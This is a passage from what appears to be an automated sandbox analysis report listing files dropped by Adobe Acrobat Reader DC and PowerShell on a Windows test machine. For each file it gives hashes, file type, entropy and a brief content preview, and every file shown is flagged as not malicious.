SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJf21rPeUkwRe9:YvXKXyhFvR/ZwHANoG+16Ukee9
MD5:	DF6F797894A5AEB2B109AD32DAF28202
SHA1:	73A16DAFBF52571EF65BF1D298FED5B87DC5BDDF
SHA-256:	2AC14DA6E06D36E1053069A1EE36B14F47B1265C2A5EFB97A9657F93782C8AFB
SHA-512:	C5435A86AFC7BCE8E39D94C7B7398770419763DA68FBC2075B88E3906183455CC31833768F2C50042E92B9DC5F6F907613669AE6357DEF918858E89C93A0AA07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66676144756021
Encrypted:	false
SSDEEP:	24:Yv6XyzJh3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSP:YvpJhPBgkDMUJUAh8cvMP
MD5:	FB171623871C4130D5B5B77DD21FA362
SHA1:	64A8ACB67F17121B1E3E926150CD6C969CE60145
SHA-256:	E274A1DFD3BEF2119602CDB28F509C1AC5C50BBA291E59CDC0F25C972FCB7B01
SHA-512:	95B11DCBEBEB8C1EE874214F81154208357442DCF657A06188E9EB0D0639442274B2A7E5421557AF918A38300F1FA4B17559DDBBAA9B68145F13E1DE9F382DC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.243607891470661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfshHHrPeUkwRe9:YvXKXyhFvR/ZwHANoGUUUkee9
MD5:	E70FDB438E8BCE546A3D049E389B3587
SHA1:	54959A8ACCEC543B82C7F080562FAED70E19770B
SHA-256:	557FAE1DD655E6AB0DBF017722BD9EC87EAEF041AC3526966A75F50D4C0E88CA
SHA-512:	73AAA5A487305E6F6FBBDB1ED1ACC44646D1CB903DA777269F93F21DE761894ACC107D14D5C5F7999CB24113034A3B4271B7BD86DD76C0FD023DCEB2AF19AF22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.25889609978406
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJTqgFCrPeUkwRe9:YvXKXyhFvR/ZwHANoGTq16Ukee9
MD5:	F3E58F94C4B4E1424E09880322FCFBAA
SHA1:	A02A855A301A76D404089C15F32CBA884CF46BFE
SHA-256:	0D8A7492AB4AAFF78DAB8531876EBC7F7BE6ED76210F571B573E0584738FD093
SHA-512:	63AFA69C1B130D775558DE39DBB9E9476E47C1C7876B9A1B7B2558E4B2350691CF0419DEFE336C6908CBABC571B79F62E881CCB5C815C085DB969DC262EC97CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139150489571983
Encrypted:	false
SSDEEP:	24:Y7eaj3ayrhRQG2/4WjzQ6g80odjh8vsj0SzZor2lXiI2LSdC/8Ws7cPr4N91I5by:YNiGM4Wj3wOhA+JqyXiIT48PcPMyp9Tg
MD5:	9BE615027B178B6CF480D6D295E23276
SHA1:	C09DE911D3D63BD942064C0C0879A7531168A91E
SHA-256:	02B88CBEF8C48BF14915FEDBF69943AB9BA9C96DE780581073212EE1850EB9E4
SHA-512:	1E14FAF4D88575E0F3D75D255C040FFC01E730C577D928063A801153F93DBC7A181ADE2C08AD9F3BC8617DCE443836D8B1CECD2C50AEA67B4C7056E8AC9CD14E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c467208d31779a0b91147a3943844478","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563417000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3d2eedf86b7cc5e258901ffd75d20975","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563417000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4fd18f5ee1fd9a8bdff7e8ad1dda6111","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563417000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"54881c78b22b4f4298ad3698aaa70f7d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563416000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9a6d5a6a2237fc2987f3fd85f589f5a1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563416000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"db625ebd4265295f30b1727abbd1ebf1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319819950520621
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahD/y1ypilI2yN:lNVms9WfMwbPah21mN
MD5:	F809E4A0D77CB0F436B362D3DF40427B
SHA1:	62881E6595584F2CC6919CD3FBF901C6146BB4FA
SHA-256:	868B4323BA4E2FD120673860D0632CE1AB3C7416257A6FF868CAB3CFC6FF9498
SHA-512:	11A13F3E9ECBE1CFD85065A1125D30DDF4722BEB8941C9EDFF8B05FDA17EF7F524A6195ED76809693786278A66FAF40736A5DF8C39C55940DEF343002F26A443
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7761200403796098
Encrypted:	false
SSDEEP:	48:7MbWR1CPmPbPahD/ywypilIZXqFl2GL7msY:76WfMwbPah2wsXKVmsY
MD5:	41229E1B989D0A1CE5DD39B5621AE777
SHA1:	79909B5F2911AEB6925A3EBE370992B0A42A26E0
SHA-256:	9A4A2E608F802D521CD6A6F4A84A95AD8381F17279FD27804E30AEC50E566F44
SHA-512:	E0ADA141A537636831A6D220507A6962AB698E4C729E3B1284BF40C4C4D4356FD42FD241E4D6C559D8C1082022C9E26BBD917B657F040AE8B9F1D81D24DD1AD5
Malicious:	false
Preview:	.... .c.....).c...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg56KbSUk4Ho8KP1vX56gaR2obQfaYyu:6a6TZ44ADE56KbSkojPZgKaK
MD5:	27B8A0645FDF726FE5A48D348D453991
SHA1:	2F9B10C575FCDD4D3CADDFEC1DE5541663179299
SHA-256:	61725978A7A79D4F4C74C5FAAEEF44026C7CFB7B93E97795615F4642EBCA2C72
SHA-512:	CC953156E32B5EAFD34FBE69A2F9343DD338C979FE3ACB6000DC4F581FBA7AE3461B6DF57F62C1A54B539781C26A7C2CFD938269396B8B24824A879C9E8ECD4D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI1aec2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsgxH:Qw946cPbiOxDlbYnuRK+bCH
MD5:	0DFD24555F146DB45E676BBFF2B45A8A
SHA1:	B2543A6FD40D58D5AF038E31A80C403C9F4AC352
SHA-256:	8733523215814A3ED10707BD7437119601AE5B3435C2689ACA2B5056A208A492
SHA-512:	509FFFD15E00A981A2C2DA41D52684655AE939D954451219016CA8B0EB03610790DBB598563041840833C71FB2168F83C312A153457102181DA1461B538A5275
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.4.3.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c11bd4jc.s2b.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zop02jpb.3y4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-43-30-847.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367332157780291
Encrypted:	false
SSDEEP:	384:yvuNW8jt2rslAnBaNWO/QeNQUTXx+e6pnMX1zHFDpdn0uhCOcFKMEJEpsnFvaV1T:xjC
MD5:	41D123479D71E15CFEDCC2BE2617128C
SHA1:	98361219E3AA1391C5CB084128AB88697040BFC6
SHA-256:	14A2869612857EF7101740FDF6FABB9B7A70F6654193B552FD630E544D83B3B4
SHA-512:	6D034ED7F924307D5316AABC7AA3279EB7D0EF60BE043793655E9CC44FE408BFCEBA9CC8E7140FC06B7783DA3ADE0DE182E304068B194FE08080310D0B2C919C
Malicious:	false
Preview:	SessionID=86c04971-e701-4387-889a-261c2b829f6b.1736563410866 Timestamp=2025-01-10T21:43:30:866-0500 ThreadID=7924 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=86c04971-e701-4387-889a-261c2b829f6b.1736563410866 Timestamp=2025-01-10T21:43:30:873-0500 ThreadID=7924 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=86c04971-e701-4387-889a-261c2b829f6b.1736563410866 Timestamp=2025-01-10T21:43:30:874-0500 ThreadID=7924 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=86c04971-e701-4387-889a-261c2b829f6b.1736563410866 Timestamp=2025-01-10T21:43:30:874-0500 ThreadID=7924 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=86c04971-e701-4387-889a-261c2b829f6b.1736563410866 Timestamp=2025-01-10T21:43:30:874-0500 ThreadID=7924 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.407359442374574
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbuQcbwIfjcbR:ceo4+rsCErfo
MD5:	6097E35DD3B27E794537B361D57B8878
SHA1:	396C33653F84AAC09CAF7E9EB6F2D505C83DD6AF
SHA-256:	0693EB4F7A23D1AEEB667C3979DB09DF28652E855E39797F3B19117EFFE3524E
SHA-512:	527A1F8164ECFB49A3148EBB963B3A81293EEFA29A3DBD68649D8333CB5EF67EC8E6F47F189B7C2102531D05E60E48A648B36C58A8E80AA8C5BEACD1739312EC
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\458edc6b-8c52-4535-afc2-125ca708b0af.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\66df9378-f4a8-496e-ab8c-f4f929adf918.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6939303f-d93d-4565-b139-3477d7d732a8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f50d451f-e265-4e10-8330-ac6900952ff7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
